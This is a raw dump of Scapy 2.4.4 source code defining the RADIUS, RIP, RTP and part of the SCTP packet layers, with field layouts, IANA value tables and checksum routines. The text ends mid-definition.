24 def prepare_packed_data(radius_packet, packed_req_authenticator): """ Pack RADIUS data prior computing the authentication MAC """ packed_hdr = struct.pack("!B", radius_packet.code) packed_hdr += struct.pack("!B", radius_packet.id) packed_hdr += struct.pack("!H", radius_packet.len) packed_attrs = b'' for attr in radius_packet.attributes: packed_attrs += raw(attr) return packed_hdr + packed_req_authenticator + packed_attrs class RadiusAttr_Message_Authenticator(_RadiusAttrHexStringVal): """RFC 2869""" val = 80 fields_desc = [ ByteEnumField("type", 24, _radius_attribute_types), FieldLenField( "len", 18, "value", "B", ), XStrFixedLenField("value", "\x00" * 16, length=16) ] @staticmethod def compute_message_authenticator(radius_packet, packed_req_authenticator, shared_secret): """ Computes the "Message-Authenticator" of a given RADIUS packet. (RFC 2869 - Page 33) """ attr = radius_packet[RadiusAttr_Message_Authenticator] attr.value = bytearray(attr.len - 2) data = prepare_packed_data(radius_packet, packed_req_authenticator) radius_hmac = hmac.new(shared_secret, data, hashlib.md5) return radius_hmac.digest() # # RADIUS attributes which values are IPv4 prefixes # class _RadiusAttrIPv4AddrVal(_SpecificRadiusAttr): """ Implements a RADIUS attribute which value field is an IPv4 address. """ __slots__ = ["val"] fields_desc = [ ByteEnumField("type", 4, _radius_attribute_types), ByteField("len", 6), IPField("value", "0.0.0.0") ] class RadiusAttr_NAS_IP_Address(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 4 class RadiusAttr_Framed_IP_Address(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 8 class RadiusAttr_Framed_IP_Netmask(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 9 class RadiusAttr_Login_IP_Host(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 14 class RadiusAttr_Framed_IPX_Network(_RadiusAttrIPv4AddrVal): """RFC 2865""" val = 23 class RadiusAttr_PMIP6_Home_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 149 class RadiusAttr_PMIP6_Visited_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 150 class RadiusAttr_PMIP6_Home_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 157 class RadiusAttr_PMIP6_Visited_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 158 class RadiusAttr_PMIP6_Home_IPv4_Gateway(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 161 class RadiusAttr_PMIP6_Visited_IPv4_Gateway(_RadiusAttrIPv4AddrVal): """RFC 6572""" val = 162 # See IANA registry "RADIUS Types" _radius_attrs_values = { # Service-Type 6: { 1: "Login", 2: "Framed", 3: "Callback Login", 4: "Callback Framed", 5: "Outbound", 6: "Administrative", 7: "NAS Prompt", 8: "Authenticate Only", 9: "Callback NAS Prompt", 10: "Call Check", 11: "Callback Administrative", 12: "Voice", 13: "Fax", 14: "Modem Relay", 15: "IAPP-Register", 16: "IAPP-AP-Check", 17: "Authorize Only", 18: "Framed-Management", 19: "Additional-Authorization" }, # Framed-Protocol 7: { 1: "PPP", 2: "SLIP", 3: "AppleTalk Remote Access Protocol (ARAP)", 4: "Gandalf proprietary SingleLink/MultiLink protocol", 5: "Xylogics proprietary IPX/SLIP", 6: "X.75 Synchronous", 7: "GPRS PDP Context" }, # Framed-Routing 10: { 0: "None", 1: "Send routing packets", 2: "Listen for routing packets", 3: "Send and Listen" }, # Framed-Compression 13: { 0: "None", 1: "VJ TCP/IP header compression", 2: "IPX header compression", 3: "Stac-LZS compression" }, # Login-Service 15: { 0: "Telnet", 1: "Rlogin", 2: "TCP Clear", 3: "PortMaster (proprietary)", 4: "LAT", 5: "X25-PAD", 6: "X25-T3POS", 7: "Unassigned", 8: "TCP Clear Quiet (suppresses any NAS-generated connect string)" }, # Termination-Action 29: { 0: "Default", 1: "RADIUS-Request" }, # Acct-Status-Type 40: { 1: "Start", 2: "Stop", 3: "Interim-Update", 4: "Unassigned", 5: "Unassigned", 6: "Unassigned", 7: "Accounting-On", 8: "Accounting-Off", 9: "Tunnel-Start", 10: "Tunnel-Stop", 11: "Tunnel-Reject", 12: "Tunnel-Link-Start", 13: "Tunnel-Link-Stop", 14: "Tunnel-Link-Reject", 15: "Failed" }, # Acct-Authentic 45: { 1: "RADIUS", 2: "Local", 3: "Remote", 4: "Diameter" }, # Acct-Terminate-Cause 49: { 1: "User Request", 2: "Lost Carrier", 3: "Lost Service", 4: "Idle Timeout", 5: "Session Timeout", 6: "Admin Reset", 7: "Admin Reboot", 8: "Port Error", 9: "NAS Error", 10: "NAS Request", 11: "NAS Reboot", 12: "Port Unneeded", 13: "Port Preempted", 14: "Port Suspended", 15: "Service Unavailable", 16: "Callback", 17: "User Error", 18: "Host Request", 19: "Supplicant Restart", 20: "Reauthentication Failure", 21: "Port Reinitialized", 22: "Port Administratively Disabled", 23: "Lost Power", }, # NAS-Port-Type 61: { 0: "Async", 1: "Sync", 2: "ISDN Sync", 3: "ISDN Async V.120", 4: "ISDN Async V.110", 5: "Virtual", 6: "PIAFS", 7: "HDLC Clear Channel", 8: "X.25", 9: "X.75", 10: "G.3 Fax", 11: "SDSL - Symmetric DSL", 12: "ADSL-CAP - Asymmetric DSL, Carrierless Amplitude Phase Modulation", # noqa: E501 13: "ADSL-DMT - Asymmetric DSL, Discrete Multi-Tone", 14: "IDSL - ISDN Digital Subscriber Line", 15: "Ethernet", 16: "xDSL - Digital Subscriber Line of unknown type", 17: "Cable", 18: "Wireles - Other", 19: "Wireless - IEEE 802.11", 20: "Token-Ring", 21: "FDDI", 22: "Wireless - CDMA2000", 23: "Wireless - UMTS", 24: "Wireless - 1X-EV", 25: "IAPP", 26: "FTTP - Fiber to the Premises", 27: "Wireless - IEEE 802.16", 28: "Wireless - IEEE 802.20", 29: "Wireless - IEEE 802.22", 30: "PPPoA - PPP over ATM", 31: "PPPoEoA - PPP over Ethernet over ATM", 32: "PPPoEoE - PPP over Ethernet over Ethernet", 33: "PPPoEoVLAN - PPP over Ethernet over VLAN", 34: "PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ", 35: "xPON - Passive Optical Network", 36: "Wireless - XGP", 37: "WiMAX Pre-Release 8 IWK Function", 38: "WIMAX-WIFI-IWK: WiMAX WIFI Interworking", 39: "WIMAX-SFF: Signaling Forwarding Function for LTE/3GPP2", 40: "WIMAX-HA-LMA: WiMAX HA and or LMA function", 41: "WIMAX-DHCP: WIMAX DHCP service", 42: "WIMAX-LBS: WiMAX location based service", 43: "WIMAX-WVS: WiMAX voice service" }, # Tunnel-Type 64: { 1: "Point-to-Point Tunneling Protocol (PPTP)", 2: "Layer Two Forwarding (L2F)", 3: "Layer Two Tunneling Protocol (L2TP)", 4: "Ascend Tunnel Management Protocol (ATMP)", 5: "Virtual Tunneling Protocol (VTP)", 6: "IP Authentication Header in the Tunnel-mode (AH)", 7: "IP-in-IP Encapsulation (IP-IP)", 8: "Minimal IP-in-IP Encapsulation (MIN-IP-IP)", 9: "IP Encapsulating Security Payload in the Tunnel-mode (ESP)", 10: "Generic Route Encapsulation (GRE)", 11: "Bay Dial Virtual Services (DVS)", 12: "IP-in-IP Tunneling", 13: "Virtual LANs (VLAN)" }, # Tunnel-Medium-Type 65: { 1: "IPv4 (IP version 4)", 2: "IPv6 (IP version 6)", 3: "NSAP", 4: "HDLC (8-bit multidrop)", 5: "BBN 1822", 6: "802", 7: "E.163 (POTS)", 8: "E.164 (SMDS, Frame Relay, ATM)", 9: "F.69 (Telex)", 10: "X.121 (X.25, Frame Relay)", 11: "IPX", 12: "Appletalk", 13: "Decnet IV", 14: "Banyan Vine", 15: "E.164 with NSAP format subaddress" }, # ARAP-Zone-Access 72: { 1: "Only allow access to default zone", 2: "Use zone filter inclusively", 3: "Not used", 4: "Use zone filter exclusively" }, # Prompt 76: { 0: "No Echo", 1: "Echo" }, # Error-Cause Attribute 101: { 201: "Residual Session Context Removed", 202: "Invalid EAP Packet (Ignored)", 401: "Unsupported Attribute", 402: "Missing Attribute", 403: "NAS Identification Mismatch", 404: "Invalid Request", 405: "Unsupported Service", 406: "Unsupported Extension", 407: "Invalid Attribute Value", 501: "Administratively Prohibited", 502: "Request Not Routable (Proxy)", 503: "Session Context Not Found", 504: "Session Context Not Removable", 505: "Other Proxy Processing Error", 506: "Resources Unavailable", 507: "Request Initiated", 508: "Multiple Session Selection Unsupported", 509: "Location-Info-Required", 601: "Response Too Big" }, # Operator Namespace Identifier - Attribute 126 126: { 0x30: "TADIG", 0x31: "REALM", 0x32: "E212", 0x33: "ICC", 0xFF: "Reserved" }, # Basic-Location-Policy-Rules 129: { 0: "Retransmission allowed", }, # Location-Capable 131: { 1: "CIVIC_LOCATION", 2: "GEO_LOCATION", 4: "USERS_LOCATION", 8: "NAS_LOCATION" }, # Framed-Management-Protocol 133: { 1: "SNMP", 2: "Web-based", 3: "NETCONF", 4: "FTP", 5: "TFTP", 6: "SFTP", 7: "RCP", 8: "SCP" }, # Management-Transport-Protection 134: { 1: "No-Protection", 2: "Integrity-Protection", 3: "Integrity-Confidentiality-Protection", }, } class _RadiusAttrIntEnumVal(_SpecificRadiusAttr): """ Implements a RADIUS attribute which value field is 4 bytes long integer. """ __slots__ = ["val"] fields_desc = [ ByteEnumField("type", 6, _radius_attribute_types), ByteField("len", 6), MultiEnumField( "value", 0, _radius_attrs_values, depends_on=lambda p: p.type, fmt="I" ) ] class RadiusAttr_Service_Type(_RadiusAttrIntEnumVal): """RFC 2865""" val = 6 class RadiusAttr_Framed_Protocol(_RadiusAttrIntEnumVal): """RFC 2865""" val = 7 class RadiusAttr_NAS_Port_Type(_RadiusAttrIntEnumVal): """RFC 2865""" val = 61 class _EAPPacketField(PacketLenField): """ Handles EAP-Message attribute value (the actual EAP packet). """ def m2i(self, pkt, m): ret = None eap_packet_len = struct.unpack("!H", m[2:4])[0] if eap_packet_len < 254: # If the EAP packet has not been fragmented, build a Scapy EAP # packet from the data. ret = EAP(m) else: ret = conf.raw_layer(m) return ret class RadiusAttr_EAP_Message(RadiusAttribute): """ Implements the "EAP-Message" attribute (RFC 3579). """ name = "EAP-Message" match_subclass = True fields_desc = [ ByteEnumField("type", 79, _radius_attribute_types), FieldLenField( "len", None, "value", "B", adjust=lambda pkt, x: len(pkt.value) + 2 ), _EAPPacketField("value", "", EAP, length_from=lambda p: p.len - 2) ] class RadiusAttr_Vendor_Specific(RadiusAttribute): """ Implements the "Vendor-Specific" attribute, as described in RFC 2865. """ name = "Vendor-Specific" match_subclass = True fields_desc = [ ByteEnumField("type", 26, _radius_attribute_types), FieldLenField( "len", None, "value", "B", adjust=lambda pkt, x: len(pkt.value) + 8 ), IntField("vendor_id", 0), ByteField("vendor_type", 0), FieldLenField( "vendor_len", None, "value", "B", adjust=lambda p, x: len(p.value) + 2 ), StrLenField("value", "", length_from=lambda p: p.vendor_len - 2) ] # See IANA RADIUS Packet Type Codes registry _packet_codes = { 1: "Access-Request", 2: "Access-Accept", 3: "Access-Reject", 4: "Accounting-Request", 5: "Accounting-Response", 6: "Accounting-Status (now Interim Accounting)", 7: "Password-Request", 8: "Password-Ack", 9: "Password-Reject", 10: "Accounting-Message", 11: "Access-Challenge", 12: "Status-Server (experimental)", 13: "Status-Client (experimental)", 21: "Resource-Free-Request", 22: "Resource-Free-Response", 23: "Resource-Query-Request", 24: "Resource-Query-Response", 25: "Alternate-Resource-Reclaim-Request", 26: "NAS-Reboot-Request", 27: "NAS-Reboot-Response", 28: "Reserved", 29: "Next-Passcode", 30: "New-Pin", 31: "Terminate-Session", 32: "Password-Expired", 33: "Event-Request", 34: "Event-Response", 40: "Disconnect-Request", 41: "Disconnect-ACK", 42: "Disconnect-NAK", 43: "CoA-Request", 44: "CoA-ACK", 45: "CoA-NAK", 50: "IP-Address-Allocate", 51: "IP-Address-Release", 52: "Protocol-Error", 250: "Experimental Use", 251: "Experimental Use", 252: "Experimental Use", 253: "Experimental Use", 254: "Reserved", 255: "Reserved" } class Radius(Packet): """ Implements a RADIUS packet (RFC 2865). """ name = "RADIUS" fields_desc = [ ByteEnumField("code", 1, _packet_codes), ByteField("id", 0), FieldLenField( "len", None, "attributes", "H", adjust=lambda pkt, x: len(pkt.attributes) + 20 ), XStrFixedLenField("authenticator", "", 16), PacketListField( "attributes", [], RadiusAttribute, length_from=lambda pkt: pkt.len - 20 ) ] def compute_authenticator(self, packed_request_auth, shared_secret): """ Computes the authenticator field (RFC 2865 - Section 3) """ data = prepare_packed_data(self, packed_request_auth) radius_mac = hashlib.md5(data + shared_secret) return radius_mac.digest() def post_build(self, p, pay): p += pay length = self.len if length is None: length = len(p) p = p[:2] + struct.pack("!H", length) + p[4:] return p bind_bottom_up(UDP, Radius, sport=1812) bind_bottom_up(UDP, Radius, dport=1812) bind_bottom_up(UDP, Radius, sport=1813) bind_bottom_up(UDP, Radius, dport=1813) bind_bottom_up(UDP, Radius, sport=3799) bind_bottom_up(UDP, Radius, dport=3799) bind_layers(UDP, Radius, sport=1812, dport=1812) scapy-2.4.4/scapy/layers/rip.py000066400000000000000000000054711372370053500164360ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ RIP (Routing Information Protocol). """ from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ IPField, IntEnumField, IntField, ShortEnumField, ShortField, \ StrFixedLenField, StrLenField from scapy.layers.inet import UDP class RIP(Packet): name = "RIP header" fields_desc = [ ByteEnumField("cmd", 1, {1: "req", 2: "resp", 3: "traceOn", 4: "traceOff", # noqa: E501 5: "sun", 6: "trigReq", 7: "trigResp", 8: "trigAck", # noqa: E501 9: "updateReq", 10: "updateResp", 11: "updateAck"}), # noqa: E501 ByteField("version", 1), ShortField("null", 0), ] def guess_payload_class(self, payload): if payload[:2] == b"\xff\xff": return RIPAuth else: return Packet.guess_payload_class(self, payload) class RIPEntry(RIP): name = "RIP entry" fields_desc = [ ShortEnumField("AF", 2, {2: "IP"}), ShortField("RouteTag", 0), IPField("addr", "0.0.0.0"), IPField("mask", "0.0.0.0"), IPField("nextHop", "0.0.0.0"), IntEnumField("metric", 1, {16: "Unreach"}), ] class RIPAuth(Packet): name = "RIP authentication" fields_desc = [ ShortEnumField("AF", 0xffff, {0xffff: "Auth"}), ShortEnumField("authtype", 2, {1: "md5authdata", 2: "simple", 3: "md5"}), # noqa: E501 ConditionalField(StrFixedLenField("password", None, 16), lambda pkt: pkt.authtype == 2), ConditionalField(ShortField("digestoffset", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("keyid", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("authdatalen", 0), lambda pkt: pkt.authtype == 3), ConditionalField(IntField("seqnum", 0), lambda pkt: pkt.authtype == 3), ConditionalField(StrFixedLenField("zeropad", None, 8), lambda pkt: pkt.authtype == 3), ConditionalField(StrLenField("authdata", None, length_from=lambda pkt: pkt.md5datalen), lambda pkt: pkt.authtype == 1) ] def pre_dissect(self, s): if s[2:4] == b"\x00\x01": self.md5datalen = len(s) - 4 return s bind_bottom_up(UDP, RIP, dport=520) bind_bottom_up(UDP, RIP, sport=520) bind_layers(UDP, RIP, sport=520, dport=520) bind_layers(RIP, RIPEntry,) bind_layers(RIPEntry, RIPEntry,) bind_layers(RIPAuth, RIPEntry,) scapy-2.4.4/scapy/layers/rtp.py000066400000000000000000000035501372370053500164450ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ RTP (Real-time Transport Protocol). Remember to use:: bind_layers(UDP, RTP, dport=XXX) To register the port you are using """ from scapy.packet import Packet, bind_layers from scapy.fields import BitEnumField, BitField, BitFieldLenField, \ FieldLenField, FieldListField, IntField, ShortField _rtp_payload_types = { # http://www.iana.org/assignments/rtp-parameters 0: 'G.711 PCMU', 3: 'GSM', 4: 'G723', 5: 'DVI4', 6: 'DVI4', 7: 'LPC', 8: 'PCMA', 9: 'G722', 10: 'L16', 11: 'L16', 12: 'QCELP', 13: 'CN', 14: 'MPA', 15: 'G728', 16: 'DVI4', 17: 'DVI4', 18: 'G729', 25: 'CelB', 26: 'JPEG', 28: 'nv', 31: 'H261', 32: 'MPV', 33: 'MP2T', 34: 'H263'} class RTPExtension(Packet): name = "RTP extension" fields_desc = [ShortField("header_id", 0), FieldLenField("header_len", None, count_of="header", fmt="H"), # noqa: E501 FieldListField('header', [], IntField("hdr", 0), count_from=lambda pkt: pkt.header_len)] # noqa: E501 class RTP(Packet): name = "RTP" fields_desc = [BitField('version', 2, 2), BitField('padding', 0, 1), BitField('extension', 0, 1), BitFieldLenField('numsync', None, 4, count_of='sync'), BitField('marker', 0, 1), BitEnumField('payload_type', 0, 7, _rtp_payload_types), ShortField('sequence', 0), IntField('timestamp', 0), IntField('sourcesync', 0), FieldListField('sync', [], IntField("id", 0), count_from=lambda pkt:pkt.numsync)] # noqa: E501 bind_layers(RTP, RTPExtension, extension=1) scapy-2.4.4/scapy/layers/sctp.py000066400000000000000000000612401372370053500166110ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) 6WIND # This program is published under a GPLv2 license """ SCTP (Stream Control Transmission Protocol). """ from __future__ import absolute_import import struct from scapy.compat import orb, raw from scapy.volatile import RandBin from scapy.config import conf from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteEnumField, ConditionalField, Field, \ FieldLenField, FieldListField, IPField, IntEnumField, IntField, \ PacketListField, PadField, ShortEnumField, ShortField, StrLenField, \ XByteField, XIntField, XShortField from scapy.layers.inet import IP from scapy.layers.inet6 import IP6Field from scapy.layers.inet6 import IPv6 IPPROTO_SCTP = 132 # crc32-c (Castagnoli) (crc32c_poly=0x1EDC6F41) crc32c_table = [ 0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, 0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E, 0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351, ] def crc32c(buf): crc = 0xffffffff for c in buf: crc = (crc >> 8) ^ crc32c_table[(crc ^ (orb(c))) & 0xFF] crc = (~crc) & 0xffffffff # reverse endianness return struct.unpack(">I", struct.pack("> 16) & 0xffff print s1,s2 for c in buf: print orb(c) s1 = (s1 + orb(c)) % BASE s2 = (s2 + s1) % BASE print s1,s2 return (s2 << 16) + s1 def sctp_checksum(buf): return update_adler32(1, buf) """ hmactypes = { 0: "Reserved1", 1: "SHA-1", 2: "Reserved2", 3: "SHA-256", } sctpchunktypescls = { 0: "SCTPChunkData", 1: "SCTPChunkInit", 2: "SCTPChunkInitAck", 3: "SCTPChunkSACK", 4: "SCTPChunkHeartbeatReq", 5: "SCTPChunkHeartbeatAck", 6: "SCTPChunkAbort", 7: "SCTPChunkShutdown", 8: "SCTPChunkShutdownAck", 9: "SCTPChunkError", 10: "SCTPChunkCookieEcho", 11: "SCTPChunkCookieAck", 14: "SCTPChunkShutdownComplete", 15: "SCTPChunkAuthentication", 0x80: "SCTPChunkAddressConfAck", 0xc1: "SCTPChunkAddressConf", } sctpchunktypes = { 0: "data", 1: "init", 2: "init-ack", 3: "sack", 4: "heartbeat-req", 5: "heartbeat-ack", 6: "abort", 7: "shutdown", 8: "shutdown-ack", 9: "error", 10: "cookie-echo", 11: "cookie-ack", 14: "shutdown-complete", 15: "authentication", 0x80: "address-configuration-ack", 0xc1: "address-configuration", } sctpchunkparamtypescls = { 1: "SCTPChunkParamHearbeatInfo", 5: "SCTPChunkParamIPv4Addr", 6: "SCTPChunkParamIPv6Addr", 7: "SCTPChunkParamStateCookie", 8: "SCTPChunkParamUnrocognizedParam", 9: "SCTPChunkParamCookiePreservative", 11: "SCTPChunkParamHostname", 12: "SCTPChunkParamSupportedAddrTypes", 0x8000: "SCTPChunkParamECNCapable", 0x8002: "SCTPChunkParamRandom", 0x8003: "SCTPChunkParamChunkList", 0x8004: "SCTPChunkParamRequestedHMACFunctions", 0x8008: "SCTPChunkParamSupportedExtensions", 0xc000: "SCTPChunkParamFwdTSN", 0xc001: "SCTPChunkParamAddIPAddr", 0xc002: "SCTPChunkParamDelIPAddr", 0xc003: "SCTPChunkParamErrorIndication", 0xc004: "SCTPChunkParamSetPrimaryAddr", 0xc005: "SCTPChunkParamSuccessIndication", 0xc006: "SCTPChunkParamAdaptationLayer", } sctpchunkparamtypes = { 1: "heartbeat-info", 5: "IPv4", 6: "IPv6", 7: "state-cookie", 8: "unrecognized-param", 9: "cookie-preservative", 11: "hostname", 12: "addrtypes", 0x8000: "ecn-capable", 0x8002: "random", 0x8003: "chunk-list", 0x8004: "requested-HMAC-functions", 0x8008: "supported-extensions", 0xc000: "fwd-tsn-supported", 0xc001: "add-IP", 0xc002: "del-IP", 0xc003: "error-indication", 0xc004: "set-primary-addr", 0xc005: "success-indication", 0xc006: "adaptation-layer", } # SCTP header # Dummy class to guess payload type (variable parameters) class _SCTPChunkGuessPayload: def default_payload_class(self, p): if len(p) < 4: return conf.padding_layer else: t = orb(p[0]) return globals().get(sctpchunktypescls.get(t, "Raw"), conf.raw_layer) # noqa: E501 class SCTP(_SCTPChunkGuessPayload, Packet): fields_desc = [ShortField("sport", None), ShortField("dport", None), XIntField("tag", None), XIntField("chksum", None), ] def answers(self, other): if not isinstance(other, SCTP): return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 return 1 def post_build(self, p, pay): p += pay if self.chksum is None: crc = crc32c(raw(p)) p = p[:8] + struct.pack(">I", crc) + p[12:] return p # SCTP Chunk variable params class ChunkParamField(PacketListField): def __init__(self, name, default, count_from=None, length_from=None): PacketListField.__init__(self, name, default, conf.raw_layer, count_from=count_from, length_from=length_from) # noqa: E501 def m2i(self, p, m): cls = conf.raw_layer if len(m) >= 4: t = orb(m[0]) * 256 + orb(m[1]) cls = globals().get(sctpchunkparamtypescls.get(t, "Raw"), conf.raw_layer) # noqa: E501 return cls(m) # dummy class to avoid Raw() after Chunk params class _SCTPChunkParam: def extract_padding(self, s): return b"", s[:] class SCTPChunkParamHearbeatInfo(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 1, sctpchunkparamtypes), FieldLenField("len", None, length_of="data", adjust=lambda pkt, x:x + 4), PadField(StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamIPv4Addr(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 5, sctpchunkparamtypes), ShortField("len", 8), IPField("addr", "127.0.0.1"), ] class SCTPChunkParamIPv6Addr(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 6, sctpchunkparamtypes), ShortField("len", 20), IP6Field("addr", "::1"), ] class SCTPChunkParamStateCookie(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 7, sctpchunkparamtypes), FieldLenField("len", None, length_of="cookie", adjust=lambda pkt, x:x + 4), PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamUnrocognizedParam(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 8, sctpchunkparamtypes), FieldLenField("len", None, length_of="param", adjust=lambda pkt, x:x + 4), PadField(StrLenField("param", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamCookiePreservative(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 9, sctpchunkparamtypes), ShortField("len", 8), XIntField("sug_cookie_inc", None), ] class SCTPChunkParamHostname(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 11, sctpchunkparamtypes), FieldLenField("len", None, length_of="hostname", adjust=lambda pkt, x:x + 4), PadField(StrLenField("hostname", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamSupportedAddrTypes(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 12, sctpchunkparamtypes), FieldLenField("len", None, length_of="addr_type_list", adjust=lambda pkt, x:x + 4), PadField(FieldListField("addr_type_list", ["IPv4"], ShortEnumField("addr_type", 5, sctpchunkparamtypes), # noqa: E501 length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkParamECNCapable(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8000, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamRandom(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8002, sctpchunkparamtypes), FieldLenField("len", None, length_of="random", adjust=lambda pkt, x:x + 4), PadField(StrLenField("random", RandBin(32), length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamChunkList(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8003, sctpchunkparamtypes), FieldLenField("len", None, length_of="chunk_list", adjust=lambda pkt, x:x + 4), 